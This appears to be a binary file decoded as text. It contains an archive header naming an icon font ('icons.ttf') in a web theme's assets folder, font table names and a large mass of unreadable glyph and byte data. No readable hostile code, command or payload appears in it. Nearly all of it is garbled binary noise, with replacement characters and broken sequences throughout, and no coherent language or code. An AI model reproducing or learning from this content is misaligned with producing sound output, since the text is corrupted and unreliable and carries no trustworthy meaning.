�����"Ω̵�i�����&��L�̔��+������`�~�t��vq�az�p�����������������u�bw&����� �SJZu\ekpkf�Y ,�����F)��:�������J\^GZg��m��n��|�@�������~���~�r�N�v�����Ư�r�i_�z{�wow{vy���}�p�sV��1}ns�o(>�������}�>�pt�lN[XKH�[ͨ����>������"�?���4�����'::'':��������:'�,�Ah�"����t�t������LR�A�S�1�S�c1���J��@�ֶgLXpjZ�� ��=�P�B�BPOA�A�O����������D�=��̹���|��ͻ�M�V˹�$���Q�G̟�^ͫ�w�_�B��G�.����O�`�I�Τwϓ�RϺ�T�}�c��������������3��"�  @�"��7�<`��ߊ��m�Q�1ry�t
8�����s���pv�u:@�����r���fqv�u:���@���r�_F �������/�>�L6�L!�����+��������O��h�h��h�h������[�N�c92;����������1����y������,��(�(��, �m���m<��}ni�k�<�ytg�n��������(�B�nl�mv2�gW�@TP�����Q���~���w���e���z�����u�������Eu�����@��:�P�B�BPNB��G�=�_��"�Z�*������y���@u!��������_��M"�_��H�D�Ji�Q�wr�SrNG2��JDt���������(��� w\�Dx�]�nr�TrN��:B�N���������c�T�X�.���������]^����g���������g�T�W�-�������|cQ�������f�@����������+���(�(��+�l���l�>�vI����I���<5�������YaqT��;�Qvy�{�Q�ŷ������b��Z������
�Y`qT��;�Rwz�{�Q�������9�RI�P��P(�����*/�inW�����|ϊ�L/b\04�]������O��_��_@@������4��	����
�����	���������E�q�u��v`v�������5Ğ�����b9�Sq������3�q�u��v_w�������4Ğ���T��b9�Sq��������|%��$m�P��PM�����������������+��@�����^�V�{��~�S����������qbrzXZb����ޔ������������Z�rwx��x��u�������������������������������������3q{j�p�k���Ƚ�������n��������n��]�C[�����&������������|%��$n�}~�}�v0o�d�u}n�������������-��@�����^�Vu�s�x|d��������pbr{X����ޔ������������Z�rxw��x��u��������������������������������8�
~�~�~R��������������
�������'�a
�������~�����*�*��)��(��!���=�
�x�e�t�pq@�t����������������J�͉y�iiylH����Xzdipsl_~UGJ��h��s��x������y�W�9�Y������������ӿw�y��k]�]s}�zw�~�{��m�h7���k>�Yi�{�������
�zt�dYg��rn�|���oM�򹓝�������������gp�tx��*�k��S���������������k�*�k�l��1wGb_]aT�fvs��t�+�*r�����\�������zh��e�N;�h��_hg_�_h��������h_�����i�����l�u�~��~����������$rfP|KEU��fa�v���,��ɼua��a�P@��a
������T��@���A�
��
����������~@7뀙v�~��6���n
����������R
���T���4����*<�씒�����<�Jڔ������o�C��j�����S���R�'"��p�G��
�*��J�,�����)��
�p��v�~��6��n
�������������5�4V�T;�T��V�T;�T��V�T;�T���t_���D�7���*��*����~�b���������EL�pC�Q��'�]�V���O�
nLE�����
�
��3���(���`�`�����b�e���!�u��!��3��������������������
�����
������3�����&�-�~�&����`���b� �z�]�A�)���F�9�:��5�$��
�_���_�;���;�+
�E�A��������������b���w�}.��$X�'�����
�����
���������poG�b{����������������������
������S�x�Y-��	���q����|���k������j�o�uh��yə����R��r�	�����T�����_����s�u#��f�f�
�"���ss~ki�_����K����_���������"��f�f�#�u�s����_���^���T�T���T�T���Od
Z]ukh���PUj=;�<��$�=�ӭ�������}�(������7�0�!���u��c6�rt�v}ra��f��'�����Z�X������,�W���������Y�X
��XXuxmihaX_)(X��b�hu�X�X
��T�5�!K�T���T���T���T���T���TK�
�T�����������N
�������N
�������_h�m��x�����
���
���
�������n�����T���ԥ���������3�i�V�!����������!��V�iK������������`J�Go|iv��
�
�d�d�}�}����T�T�4�4�}�}��
�
�
�
�v������8�W�9��7����̩��u���x�t�o��v�w�p��E�V�3��'����(�������I�6���/H#�@��_��6s�2�r�����������v����)���	���������7�,u`melh�@K(w,�k�/�T�c�W�B�R�Z�s��Z��������V�:� �[�X�2�;�@�L�p��������"
���x�#�&��|C���@H�#SQ�4� ����+�� �2�й����y�z{�6C'r �v�'�Q�j���a��N�S�c������I��=��λۊ���6�O���F�u����������ɷ�a���y�r�v.D����x���yl�u\eh[��x���O�~�|�i�K�!� �������G�
��������0�	�N�e�e%�N�0�	����z�z������������������������������u
��������������u
�������������������
������z�z��������G������D�=�D�+���w��P��ak�O����N���(�b�X�S���9}�^�H���t��T�
�D�=�D�����
����]�]��FJ{oQ���$�w�v��}�r��G��}�t��K�KB�=�
�v�N�;�m��Y��������i�)09Q�����]�]��
���������������F
���(]� c�mgc`��cm����������*��um���v��pvvp��qu���������vp�$�i݆�y�"�Z�4x������+�4x$�Zy;�N9��c�v����v����]�?�?��T�e�[�R[ed\\�d��R�����j����������b��O�� �����e�[�j|ƒ�����������~�b��O�� [ee[\�e��j�T�SP����e�[�P������Z���[���ZQ�R�T�[ee\[�e��Q������Z���Z���ZŅĀ�����������
l�����9�4���M����J���lrH��m9�	��M��������qxttur��������������Je��
���sp�szy��}e�
���<��������cH��u�Rtyzuw B�X���@�2�����ʳ�8�g^zp}UY̲nx�v�w�ww~zm��#����Ԓ����������,���������f�����������������������~�����x*��}�-�������������oA��c�2S�3_�(���%�Q�,�d�F��W<~�������g�E�W�RC�p��|��1����$�+s��<����
�� �T�)�0��a�_�i�3��� D�X;&��
���us�s9&%9l�_�n�hY5�����V��k���_�k���`�1�T����<�kOF�w���2���ϵZ6��_��
��g���<�jOF�x���2���ζZ6��`����g��-���~�	L9wu�z~\L��y����Ǟ�My�v�}�N�}�������	����������ǜ����z]�����z�7�����T������t�4�t�4�t�4�t�t�$���r�r���d5
���_9�
���*���*���_9��TJ�45
��*���*����*
�45
�T&
�d���r�r�����Z�\������J�x�k�^kwwk�k�w��^�����~�|��}T|����z�x�k*kw�rU|����z�w�k-jx�rT}�����һ�����xj�������Һ\D�����E[[D�S^m��x�H|��|T}����.һ����һ\D�.����#����##�����#������j
�'�V�'���'�����8�����������L����t�t�2���2�T�2���2�n
�2���2�T�2���2����������O���
)�$���
���x�r��O��������r�m��c��������q�ly|�~��"��|�yy|�~��� ��|�ylqrk������e��w�}xt�����[��p�wtop�t���b�������p�t���U�������k�r�������#����p
����$����������������U�������������a��
�������m����}�||}��������#������V�䕌�����O�V����P�[�������d�������������������������������\�R�\���D?���G������!�cL���������m����������?J���9_����������	��l��q�1�:���KI���������<�E�Q�8���8����?�E��������� �V��w�s������-�1���
��������S�]�aA�����<�U�i�u��t�,����������e���#���z���_6�������������������I�c�������l�����������T��7P�7���o���7������w�>��������>�����?�������������D�����B��(�D���D��(�B����z�D��)�A����NZ����ȼ���xȼXN�=j
�:j�TR�R�;���;P�P�Q�2�<���;�5������,�$�(�)���M�U�]�(���)�+���+\�T�M��q���q�z΂�3�����4��y�p�m�1��
�.�o��Qk�e�^�
�����'�u�v�&������^�e�k���ex�#�B��9��o=������9�B]:�#��/���ݠ�������"�\&�����"��iR�e��x������
hB���
���R�XD�@��������� �_*����� ��pX�����@���R��c����h�E�����:�dM�+��A�����*�[ �����$����q�f�]�]�]�U���9pttp.pt���q�������to���q�
���
�����
�A�
���A�
���
��l�L��6�H���������������p�A��O�YK�I�+���+s�r�s� I0�"�/�r�I�H�q��q�I�H�r�ﷰg�����(����7�]F���$������g����Vd
��������p'���7���)���28���]8����{j	@�{j�{j�{j�{@�o�]��"��
-�]��"��-�]��"��
.�\��#��<]�i�|����i�|����i�|����j�|�����x
�6���6�^
6��6���F��ٯ��������6��V�g��
�
�<��
g��w�I���I���I���I���I��;�A� � �A�@� �!�A�@�!�!�@�A�!� �@�9����ŵwv�mQ��uL�flD�^A����94�wHMZ��X���a�ǂ��ݏ����,�����|�����)�
�
�*�)�
�
�)�*�
�
�)�*�
�
�*���*�
�
�)�*�
�
�*�)�
�
�*�)�
�
�)����[�O�CPZ[P�5���5�Z�P�CO[[P��P�[�(ǻ������@��:��M���������`ed��e��������S�O����[/:~~|yw�{���
�>�g�7�.�iczdfp�t���+��&4��R�������l�^�����v�Q���B�R��������{�xxgd~y<��/R��c�4��j�c�'��^������d�<�/�g�Z�8�%�V���G
�����
��A
�c�
@����nh��nh��O
��T��G
����z�{����{������������@�����'�&����nh���'�&��
����nh�O
����h�������-�Q ���N����������k�g���-�����`����`��%�`�������a�z�x�w��wx�z���xs�h�t�T��~����������T������x����R
���
���x888��
88��
88��
88��
88��
88��
88�11�c�r�����
�
�ڱ�
�
898�rxy���f�΢�{�c��E�����p���������H������EQc}{[�h�f����KK8��
98�11�c�r�����'mH�P�������c��������������K��4�T+�T����������������DqT1���aa���1��q��������������������ӌ��������������$�����ӊ���������4��Fl���G��u�j���������/���>�c�v�Y�X��wr�lO[MOO[�Olr}twXPY�v@c��>kPS�/k�������_�`�b�j�p�N1k���I�7�+�4���4��7������G����u�U�)�4�S�'�-{:d��@�G�Q&zz���E��w�v��lmul�c��h��r�����]��t�}���bF�s^�[X�V�
�v�N�;�m�Ћ�������D�1��� %/O���,��j�F�?�j}��y�y��k�����D�=�D�+������'���w�s�xx��������
�D�=�D�����
�
���
��_�>�h�jt�h�h�j���bg�S��g��T.�
�
�T譁����b���������j�h��>n�_K��D�;����D���R�D�a�,
��O
��/+��ui���su���S��&�yp�rxo�K
nr����R�/E��o�qwn��������������������썍�����c�@�
��"�;�;��d�������xp��X�B��B���������}�t��q��۽�����
�
�T������d��m�l�su��r��|����j���t`
�t�ts
�t�tQ
�t���
��Z
�
�]�]���
�
�%
��K&
���7�7�
�7�8��>
�4e
�45
������-���
���������{�uNv����Q�*�3�3��Q����~Fu{uv����+�N�R-��X�v�N��
�v��X�R����X>Z����������*��6x��l�l�sv��r��}����jJ
�
������6��)�����[=)R����~�[�~�w�~5-!��Q
��5��>
���"�~�v���_��������V=)[���J
��R
�����u���q�u���� ��f!D!��� }��q�q�uu��r��|����j���t`
�t�ts
�t���t>
�t�tQ
�t���ì�|��r������
P�Z�<:����Z`�A�vg�u��$gJAv<��������ֽ�Y�i��<A��J����P��
�)����������d
��0����u�l�c��
����*��5x��l�m�xy��v�������{����?�������Z�S�������4�t�9�M�kj������t�9�M�k��x�xw���p�J�1��1���Z�`���w�w�x�n��=�O�v�T���J�1��1E����`���������nm�=�O�vZ���������0��ܥ��)����
�gN/��#��-t��e�Z�\i��\�������hN���ֽ�?�#f�,�����W�S����������
�Z�<:�����A�vg�u��$gK@v<�Z��T<@��K���P��
�
�
�%
�d
�4[���y�y�0�0~�w�]]�w�~�0�0((�
���0�1�9
�0�0�y�z��>
�4e
�T���-�����
����4Q
�4�9�/�9
�^�]r�^�]~�w��]��������9�4`
�4���j�|����ѡ���l�s��m��d���������t�����K��>Z�������A�����v�~^^�k�M�M���^K�\
�j�������ރ����z���w���������׫��ts
�t���M�M�k�^�~�����������������z�z�����
�
�T�������-���>
���
��T>Z�������b��\ee\��\�e��s�
�����V�e�\���M��|�?���S�#`���������<����`�R���w�<����ED��z8D������^�7�E�&S�M�X]�Z-���`L�M�L�����<�z����=��a����3������l����x�����m��qY*m�����S�Z�]�e�a�u�������ж��X�������p~�v{�}|[^s\�I��F�F�S���#Jw��a���â�������������7�z��_����
��%��>�}=�a������������������f�4���4����	��)�5�M��k��4���4�4���4�
 ����&�����&���Tx��T�&���Tx��x��������������
���T��
h
�T���<
�TG���/
�����T`���j
�T<
��t�T�����s�R@�6{���@),\��,��)��ə������EQ�������T��
h
����������������������������������������������������������������������������������S
���������������������������������������I�Is�~��������xx�x{���?+)]��)��+������8�s�~����������������������Te
�5�@����d
�����Te
����b������@�T�e�@�hj
d
d
������������T�T�T�T�����T�/��������/�T������T�T�������l��T�
�Tt
����!5�|��5!�
��������
��4�����t
�������4��������������4������������`Dqf��������e�2�s����q���4�e���es�sfjoF�e���e��2���������o��2��e�����p�@����
��cW]k|�������������$(=������y}���������.29>I��������;CRY^bk��������	(37���&,6>cg�����	8?EIMQZafj���������
&+gry�������������			?	P	c	n	u	z		�	�	�	�	�	�	�	�	�	�	�

'
S
~
�
�
�
�
� AEUao}������:CLW[`dnw����������



)
0
7
>
D
^
g
n
�
�
�
�
�
�
�
�
�
�
�
�&+2:>CQU[j������������#7=EJRWj}�����������-8INUeu|����������������,:HV_glqz�������������������&,4<AGMSY^cit���������������fA�V����M
@:�
�l�f��P��������������z�z���e
�d
���4�
�T"
�3���3�T$
�
�L
������t$�3���3�
`u
���T~����~������
��������'�3���3y}}y�<���<=/.
4�T6G�TV
2
������
�L
�������3�(�T&
h�W�75�,
(hnnh�hn���\
����]�]��>�����}�t�����	�� �"�������������"� ��	���w3�7y�}��n�hy}}y�y}����������}y�X
S���w���������������� ʆ��iimdod���������$��@�~� K������z�&�w{�y�yw��}|� |�}���x�z�{�wa&z��������K������������$|��'���˒�������a�����������|
0��4
�+
�|�zKz||zKz�|����������DT��f�f�������������8��q
b
�Tb
�Tb
T
����%��������8�R�Dx
�RҐ�!��N��
�[�=�����i
�T� >Z-�
��V�`�S
�T+�T:��H
��R�Da`�v��Y�O����G��}�`�E��}n\>l�/
����,������������������y}��)�v
I�`�V����+
d���j]^��h�Y��E�֊�ׅ�B�
�����������?��G��ߩм���qٴ�̟�'(���͔��͂z���'��w�!q=�w�V�F7���HJ�?x�s�]C$�3
�3
3CC�
�����'��
�
�
�
U�n
���T tzux��u�[��Br�lmy�z�~���5�������q�s�������U��hnnh�hn����������nh���
g
�
�EQQE��
�y}}yKy}���;-
0�i��i�i(K&
�h�@�@�h�h�@�@�h�h�@�@�h�>
��e
��
l�n�l||��}_zob^��^�b�z�����������M�<�M�<v��������������	�o�_��}|�|�YY����������������f�f�����������9�>�!���F��>��9��U��G�
��@��5
V``V}�~���d�3�f�T�w�@�t�(�s�u�w�N�5~��w�}�+�}����PVtv�
�{z�/
��������K���=�
�T,
�T�q
�=���q
|
��d
��
�#�E��A�S� ����i�^wv�h�������v�i�^����S� �A��E�]�#��P*
*
K5
��>
aD�����:
�3�'�)����������������x�~�D�&�l&�y�;���;�����
���K�+���K�+�EQQE��
�
���nh'�9�
��
G
�f�fq
'�T9,6��5�!�tV`����r
�QK��T�|
��
6
�6
����G�C���C�8�=<�<�8��C���G�C���
�:,
�+
�
e
�5�:�
��:e
��
�+
�:����]��Ԏ�!�c
�!����<
hn������0��5��,
�+
Ky}fM�@�
jm��q���;�f�v�eKxvu�zt�v������������3���3E�Q����8�
������!��8
z|���]��<
�TGKV
�T`M
�
�r�����G�,}
/�����I�Xz��n����j��^�Q���Q���������XL�I��i��\�|�\�?�Z���E�ԅ���c��*y^H�(�ym�|�[����J���������������Z�Zr�w�h����t��������]�
���3CC3R
��I��t�����������
���������l��/
��l���%�%�����%�%�����%�%��)
�<���<�<���<v�vf
����
������{z�
�S�
��;�
[�8����K����9�"��T�M�5���������{��~~�D�;��i�B��x�������������w��B��������D�$�$�D���}������
��;��`���L����<��� �xra�������5��,
J��T�����������}y�vKy�x}z��y������������������i
�
Y��hnnh���4
�������A��0����������%�����d
����
���M
���4S
�ԕ�4�yr�rrr�yy���������r8�e�@�h���S
�8�
���8��<
r��
��������������������}t����.�+ݭ��������������������������������1��<
�@/
�`<
��/
@`��,�l"�7o�''��&
��
�����
d
��6��g���
��
�T[�TQ
�
�@�%~����������
�OI�I��gX�!�!�gX���g��!�T���}�y�T0
�Tm�m))m�m�)���I
�!��8
0�5������!����!I
�Tv�@�h�e�5��,
�+
������������Z�Z������3�~3Cr�����~~�w�~z�{�<�Z��������:���M
�T:,
��+
��hn����nh�
����������{���\xcik�v�ss]tRat�y�xxM�Y�ɽ��Z��9}�
���r�crrrr�c�r��@�@�pttp&pt��xy�o�ts��{��
���
��p
���������tp��Y!�5�|��������=H��9
3Y
���"T
��k
KM
�����������y�����@��$����$@!��quuqqu���;���;��uq�

�����rrc�r������r���!55!STdJ,]��շ����49��y����������'�&���������J���\
����������������x��\�;COLD|yz|�r������Z�w�rrs�m
�����K
�����F��� B�������������!�$��D��
�EQQEEQ��������QE�;���;�����!�
�!.
�����������a����y�y�����y�y���g�__gg__�g�����,
�
U
������`�V���Z
�o���!���������������z�z����E�#�#�E�E�#�#�E��s�P@��z�y�z��������Nb�a�]���m��,hn���
�
��0������z�{������}d
����3����������������l��{
_h�m��x�����.
�i�p�������
�EQQE��������t�4���4�t����������:���z�{�������XtxmihbW_)����<
��TY5
�t�E�#�#�E��x
�e
���������hn����z������������8�������R������s�%�$q8��`V�!�!�}jii��y�T���@�
�C�������ɷ��������������
��,������g���)�������!�5����������
�p�%��t��~����������4X��M
T
�H6���*Ö��*��������D�$��C3������PK!���_�T�T*dist/themes/default/assets/fonts/icons.ttfnu&1i��`FFTMj�:.�GDEF� OS/2�2z#(`cmap�/t��gasp���glyf�π��head��"x6hhea
�"�$hmtxT(�"�
�loca�DL-T
�maxp7� name1��8|post�<;�Lwebf��W4T��=���O<0�Z[.�L��3��3s�pyrs@ �� ��t@4 ������ 
 / _!"""`%����>�N�^�n�~��������������.�>�N�^�n�~��������������>�N�^�n�~������ ������  / _!"""`%����!�@�P�`�p�������������� �0�@�P�`�p��������������!�@�P�`�p��������d�]�Y�T�C�2���߸��ݺ���������������������������
�	
��p7!!!���@p�p �p�1]���!2#!"&463!&54>3!2�+��@&&��&&@��+$(�($F#+���&4&&4&x+#��+".4>32".4>32467632DhgZghDDhg-iW�DhgZghDDhg-iW&@(8 ��2N++NdN+'�;2N++NdN+'�3
8���!  #"'#"$&6$ �������rL46$���܏���oo��o|W%r��������4L&V|o��oo����ܳ��%��=M%+".'&%&'3!26<.#!";2>767>7#!"&5463!2� %��3@m00m@3���% 
�
�@
���:"7..7":�6]�^B�@B^^B�B^ $΄+0110+��$�
(	

�t��1%%1��+�`��B^^B@B^^���"'.54632>32�4��
#L</��>�oP$$Po�>���Z$_d�C�+I@$$@I+��������"#"'%#"&547&547%62���V�?�?V��8��<��8y���
���b%	I�))�9I	����	+	%%#"'%#"&547&547%62q2�Z���Z2Izy���V)�?�?V��8��<��8)>~��>��[��
���
2���b%	I�))�9I	����'%#!"&54>322>32 &6 ��y��y� 6Fe=	BS���SB	=eF6 ������>�x��x5eud_C(+5++5+(C_due����>����/?O_o���54&+";2654&+";2654&+";264&#!"3!2654&+";2654&+";264&#!"3!2654&+";2654&+";2654&+";267#!"&5463!2�&�&&�&&�&&�&&�&&�&&�&&&�&�&&�&�&�&&�&��&�&&&�&�&&�&&�&&�&&�&&�&�^B��B^^B@B^@�&&�&&��&&�&&��&&�&&�&&�&&��&&�&&���&&�&&&&�&&���&&�&&��&&�&&��&&�&&���B^^B@B^^��/?#!"&5463!2#!"&5463!2#!"&5463!2#!"&5463!2L4�4LL44LL4�4LL44L�L4�4LL44LL4�4LL44L��4LL4�4LL��4LL4�4LL���4LL4�4LL��4LL4�4LL	�/?O_o�#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!28(��(88(@(88(��(88(@(8�8(��(88(@(8��8(��(88(@(8�8(��(88(@(8�8(��(88(@(8��8(��(88(@(8�8(��(88(@(88(��(88(@(8 �(88(�(88�(88(�(88��(88(�(88�(88(�(88��(88(�(88��(88(�(88�(88(�(88��(88(�(88�(88(�(88�/?O_#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!28(��(88(@(88(��(88(@(88(�@(88(�(8�8(��(88(@(88(�@(88(�(88(�@(88(�(8 �(88(�(88�(88(�(88��(88(�(88�(88(�(88��(88(�(88�(88(�(88y��"/&4?62	62��,�P����P&�P��P�,��jP�����n���#$"'	"/&47	&4?62	62	�P���P�&���P&&P���&�P�&���P&&P���&�P������#+D++"&=#"&=46;546;232  #"'#"$&6$ 
�
@
�

�
@
�
�������rK56$���܏���oo��o|W�@
�

�
@
�

��r��������jK&V|o��oo����ܳ�����0#!"&=463!2  #"'#"$&6$ 
��

@
�������rK56$���܏���oo��o|W�@

@
�r��������jK&V|o��oo����ܳ����)5 $&54762>54&'.7>"&5462z�����z��+i *bkQ��н�Qkb* j*����LhLLhL�����zz���Bm +*i J�yh��QQ��hy�J i*+ m��J��4LL4�4LL���/?O%+"&=46;2%+"&546;2%+"&546;2+"&546;2+"&546;2��������������`��r��@�@r�@��@����n4&"2#"/+"&/&'#"'&'&547>7&/.=46?67&'&547>3267676;27632�Ԗ����#H
	��,/
�1)�
~'H�
�(C
	�

�,/
�1)�	
�$H�
Ԗ�Ԗm�6%2X
%�	l�2
�k	r6

[21
�..9Q

$�
k�2
�k	
w3[20����/;Cg+"&546;2+"&546;2+"&546;2!3!2>!'&'!+#!"&5#"&=463!7>3!2!2@@@@@@���@�`�0
��
o`^B��B^`5FN(@(NF5 ��@��@��@���L%%Ju		�@�LSyuS�@�%44%�f5#!!!"&5465	7#"'	'&/&6762546;2�&�����&??�>

�L�L
>
� X ���
 � &���&��&AJ	A��	J
W���h��##!"&5463!2!&'&!"&5!�(8(��(88(�(`�x
��c�`(8��`(��(88(@(8(D��9�8(����� ,#!"&=46;46;2.  6 $$ ����@��������(�r���^����a�a�@@`��(��������_�^����a�a��2NC5.+";26#!26'.#!"3!"547>3!";26/.#!2W
�
��.�@

��

�@.�$S

�

S$�@

���9I


�
I6>
��
��>�%=$4&"2$4&"2#!"&5463!2?!2"'&763!463!2!2&4&&4&&4&&4�8(�@(88(ч:�:��(8���@6�@*&&*�4&&4&&4&&4& ��(88(@(8�88�8)�@�)'�&&�@���$0"'&76;46;232  >& $$ `
������������(���r���^����a�a`��		@`��2�������(���^����a�a�����$0++"&5#"&54762  >& $$ ^���
?@�����(���r���^����a�a���`?		����������(���^����a�a��
#!.'!!!%#!"&547>3!2�<�<�<_@`&��&�
5@5
�@
����&&�>=(""��=���'#"'&5476.  6 $$ � ��  ! ��������(�r���^����a�a�J��	%�%���(��������_�^����a�a�����3#!"'&?&#"3267672#"$&6$3276&�@*���h��QQ��hw�I�	m�ʬ����zz���k�)'�@&('��Q��н�Qh_
	�
��z�8�zoe����$G!"$'"&5463!23267676;2#!"&4?&#"+"&=!2762�@�h���k�4&&�&�G�a��F*�
&�@&��Ɇ�F*�
A��k�4&���nf�&�&&4�BH�rd�@&&4���rd
Moe�&�/?O_o+"&=46;25+"&=46;25+"&=46;2#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!26#!"&5463!2�
@

@

@

@

@

@
�
�@

�

�@

�

�@

�
�
�@

�
�^B�@B^^B�B^`@

@
�@

@
�@

@
��@

@
�@

@
�@

@
�3@

��
M��B^^B@B^^��!54&"#!"&546;54 32@�Ԗ@8(�@(88( p (8�j��j��(88(@(8������8@���7+"&5&5462#".#"#"&5476763232>32@@
@
@KjK�ך=}\�I���&:�k�~&26]S
&H&�

�&H5KKu�t,4,�	&� x:;*4*&��K#+"&546;227654$ >3546;2+"&="&/&546$ �<��X@@Gv"D�����װD"vG@@X��<��4L4����1!Sk @ G<_b������b_<G �� kS!1����zz�� �"'!"&5463!62&4����&&M4&���&M&�&M& ��-"'!"&5463!62#"&54>4.54632&4����&&M4&�UF
&""""&
F���&M&�&M&���%.D.%���G-Ik"'!"&5463!62#"&54>4.54632#"&54767>4&'&'&54632#"&547>7676'&'.'&54632&4����&&M4&�UF
&""""&
FU��
&'8JSSJ8'&

����

&'.${��{$.'&

����&M&�&M&���%.D.%7���;&'6���6'&;��4�[&$
[2[
$&[��#/37#5#5!#5!!!!!!!#5!#5!5##!35!!!����������������������������������������������������������������������������#'+/37;?3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3????  ^��>>~??�??�??~??~??^??�^^?  ^??������������������������������������4&"2#"'.5463!2�KjKKjv%�'45%�5&5L4�5�&�%jKKjK�@5%�%%�%�5�4L5&�6'��k�54&"2#"'.5463!2#"&'654'.#32�KjKKjv%�'45%�5&5L4�5�&�%�%�'4$.�%%�5&�5�5�&�%jKKjK�@5%�%%�%�5�4L5&�6'45%�%�%54'�&55&�6'
��y�Tdt#!"&'&74676&7>7>76&7>7>76&7>7>76&7>7>63!2#!"3!2676'3!26?6&#!"3!26?6&#!"g(��sA�eM�,*$/
!'&
�JP��$G]��
x�6,&��`
��
h`
��
"9H�v@WkNC<.
&k&
("$p"	.
#u&#	%!'	pJ�vwEF�#

@

��

@

���2#"'	#"'.546763�!''!0#�G�G$/!''!�	
8"��"8
 ��X!	
8"	"8
	����<)!!#"&=!4&"27+#!"&=#"&546;463!232������(8���&4&&4�
�8(�@(8�
qO@8(�(`�(@Oq��8(��&4&&4&@�`
�(88(�
�Oq (8(�`(�q���!)2"&42#!"&546;7>3!2  I��j��j��j��j�3e55e3�gr������`��I�j��j��j�j��1GG1���r��������P2327&7>7;"&#"4?2>54.'%3"&#"#ժ!�9&W��B03&�K5�!�)V�?�@L��'�	
>R�>e;&L:�:%P�>��vO
'h�� N��_"�:-&+#
��:��	'	����+a%3 4'.#"32>54.#"7>7><5'./6$3232#"&#"+JBx)EB_I:I*CRzb3:dtB2P���$$5.3b�[F�|\8!-T>5��Fu��\,�,j�n OrB,<!
5�4wJ]�?tTFi;
2�3j.�p^%/2�+
	S:T}K4W9: #ƕd�fE���97>7676'5.'732>7"#"&#&#"�$
zj=N!�}:0e��%	y�
+t�D3�~U'#B4#
g		'2
%/!:
���T	bRU,7����}%2"/&6;#"&?62+326323!2>?23&'.'.#"&"$#"#&=>764=464.'&#"&'�!~:~!PP!~:~!P��6�,�,$�$%*'
c2N 	
(�$"L��A2�3Yl�!x!*�%��%%��%��
p�P,T	NE	Q7^���oH!+(
3	 *Ue�eu
wg��a�32632$?23&'.5&'&#"&"5$#"#&=>7>4&54&54>.'&#"&'2#".465!#".'&47>32!4&4>Q6�,�,Faw!*'
=~Pl*	
(�$"L��A2�3Yl	�)�!*<7@@7<
�
<7@@7<
 p�P,T	MF
Q7�47ƢHoH!+(
3	 t���JHQ6wh��',686,'$##$',686,'$##$�/?%#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2&��&&�&��&�&&&&�&&&��&��&&�&��&&�&&f�&&�&&f�&&�&&f�&&�&&�/?%#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2&��&&�&��&��&&�&&��&&�&��&��&&�&��&&�&&f�&&�&&f�&&�&&f�&&�&&�/?%#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2&��&&�&&�&&&&�&&&&��&&�&��&&�&&f�&&�&&f�&&�&&f�&&�&&�/?%#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2&��&&�&&��&&�&&��&&�&&��&&�&��&&�&&f�&&�&&f�&&�&&f�&&�&&�/?O_o%+"&=46;2+"&=46;2+"&=46;2#!"&=463!2+"&=46;2#!"&=463!2#!"&=463!2#!"&=463!2
�

�

�

�

�

�

��

@
�
�

�

��

@

��

@

��

@
�

�
s�

�
s�

�
��

�
s�

�
��

�
s�

�
s�

�
�/?O#"'&47632#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2�
	��		 	
�
�@

�

��

@

��

@

�@

�
�
	 		 	��

�
s�

�
s�

�
s�

�
�/?O#"&54632	#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2`	��	

	 �
�@

�

��

@

��

@

�@

�
�	��	
@
	��	�

�
s�

�
s�

�
s�

�
#"'#!"&5463!2632'
�m�w�@w��w�w��
'���*��w��w�w��w������."&462!5	!"3!2654&#!"&5463!2�p�pp�p��@���

@
�^B��B^^B@B^�pp�p���@�@� 
�@

�
 �@B^^B�B^^���k%!7'34#"3276'	!7632k[�[�v
��
6����`�%��`�$65&�%[�[k����
�`����5%���&&�'���4&"2"&'&54 �Ԗ���!��?H?��!,�,Ԗ�ԖmF��!&&!Fm�,�����%" $$ ���������^����a�a`@������^����a�a���-4'.'&"26% 547>7>2"KjK��X��QqYn	243nYqQ�$!+!77!+!$5KK���,ԑ�	���]""]ً�	��9>H7'3&7#!"&5463!2'&#!"3!26=4?6	!762xt�t` �� ^Q�w��w��w@?61��B^^B@B^	@(` �`��\\��\P�`t�t8`� �� ^�Ͼw��w@w�1^B��B^^B~
	@��` \ \�P�+Z#!"&5463!12+"3!26=47676#"'&=# #"'.54>;547632��w��w��w�
M8
pB^^B@B^�
'���sw-

9*##;No��j�'
�#��w��w@w�
"^B��B^^B�

	��*�����
"g`�81T`PSA:'�*��4�/D#!"&5463!2#"'&#!"3!26=4?632"'&4?62	62��w��w��w@?61

��B^^B@B^	@

��B�RnB�Bn^��w��w@w�1
^B��B^^B�
	@
���Bn���nB�C"&=!32"'&46;!"'&4762!#"&4762+!5462�4&���&�4�&���&4�4&��&4&��&4�4�&���&4�4&��&4&��&4�4&���&����6'&'+"&546;267��:	&�&&�&	s�@�	
�Z&&�&&�Z���+6'&''&'+"&546;267667��:	�:	&�&&�&	�	s�@�	
�:�	
�Z&&�&&�Z��:z����6'&''&47667S�:�:�s�@�	
�:�4��:�|�	&546h��!!0a�
�
�
$���#!"&5463!2#!"&5463!2&�&&&��&�&&&@��&&�&&��&&�&&���#!"&5463!2&��&&�&@��&&�&&���&54646&5-���:s��:��:4�:�
	���+&5464646;2+"&5&5-��&�&&�&�:s��:��:�&&��&&�
	�:�
	���&54646;2+"&5-�&�&&�&s��:�&&��&&�
